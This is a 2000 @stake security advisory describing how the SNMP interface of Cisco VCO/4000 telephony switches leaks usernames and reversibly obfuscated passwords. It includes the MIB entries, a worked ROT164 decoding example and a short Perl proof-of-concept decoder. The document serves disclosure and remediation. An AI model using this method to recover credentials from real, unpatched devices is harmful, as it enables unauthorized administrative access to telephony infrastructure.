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                              @stake, Inc.
                            www.atstake.com

                           Security Advisory


Advisory Name: Cisco VCO/4000 SNMP Username and Password Retrieval
 Release Date: 10/26/2000
  Application: N/A
     Platform: Cisco (Formerly Summa Four) VCO/4K software version 5.1.3 and
               below
     Severity: An attacker can obtain login and password credentials
               to the administrative interfaces with the read-only
               community string.
    Author(s): David Goldsmith <daveg@atstake.com>
               Brian Carrier <bcarrier@atstake.com>
               Rex Warren <rex@atstake.com>
Vendor Status: Software upgrade available
          Web: www.atstake.com/research/advisories/2000/A102600-1.txt


Overview:

    This advisory describes a vulnerability that exists in Cisco Systems'
Virtual Central Office 4000 (VCO/4K).  The VCO/4K is a programmable switch
that provides numerous telephony capabilities including voice services,
switching for wireless and wireline networks, and circuit/packet-switched
network gateway services.  The VCO/4K can be administered via several
TCP/IP interfaces, including Telnet and SNMP.  There is a vulnerability in
the SNMP interface that allows an attacker to enumerate username and
obfuscated password pairs for the Telnet interface.  Since the obfuscation
method used on the passwords is reversible, administrative access to the
VCO/4K can be obtained.


Detailed Description:

    If an attacker knows the read-only community string of a VCO/4K,
then they can obtain a list of users and their obfuscated passwords.
The obfuscation can be easily reversed, allowing an attacker to obtain
additional privileges on the VCO/4K.

    The SNMP MIB of the VCO/4K contains, among other data, a list of
usernames and passwords.  These entries start at:

        [ ... ]
        enterprises.886.1.1.1.1.2.1 = "someuser"
        enterprises.886.1.1.1.1.3.1 = 0
        enterprises.886.1.1.1.1.4.1 = ".At4Cqq"
        enterprises.886.1.1.1.1.5.1 = 0
        [ ... ]

    The enterprises.886.1.1.1.1.2.1 entry is the first username, with
enterprises.886.1.1.1.1.4.1 being the corresponding (albeit obfuscated)
password.

    The password obfuscation algorithm is a substitution cipher that
replaces each ASCII character by one that is 164 places away.  For
historical reasons, we will call this ROT164():

    ROT164(X) = 164 - X

Using the example above:

    ROT164(".") = 164 - 046 = 118 => "v"
    ROT164("A") = 164 - 065 = 099 => "c"
    ROT164("t") = 164 - 116 = 048 => "0"
    ROT164("4") = 164 - 052 = 112 => "p"
    ROT164("C") = 164 - 067 = 097 => "a"
    ROT164("q") = 164 - 113 = 051 => "3"
    ROT164("q") = 164 - 113 = 051 => "3"


Temporary Solution:

    If SNMP is not required on the VCO/4K, then disable the service.  If
it is required, then verify that the community string is difficult to
guess and that access to it is restricted.


Vendor Response:

    Cisco Systems is aware of the vulnerability reported by @stake and has
prepared two software releases to address the problem.  In Cisco VCO/4K
software version 5.1.4, the display of the usernames and encrypted
passwords has been removed from SNMP responses.  Version 5.2, to be
released in early December, also includes enhancements replacing the weak
password encryption with MD5 -- similar to Type 5 passwords in Cisco
IOS -- as well as general improvements to access control.

    The Cisco PSIRT appreciates the efforts made by @stake in
communicating this vulnerability to us and working with us to resolve it.


Proof-of-Concept Code:

    The decryption code was written in PERL by Rex Warren.  Due to the
cyclic properties of ROT164, the program accepts both the plaintext and
the obfuscated password as standard input and returns the opposite
version.

<--- cut here --->
#!/usr/bin/perl

printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");

printf ("Enter Password: ");
$pw = <STDIN>;
chop $pw;

printf("Result: ");
for ($pos = 0; $pos < length($pw); $pos++){
    printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n");

<--- cut here --->

For more advisories: http://www.atstake.com/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.
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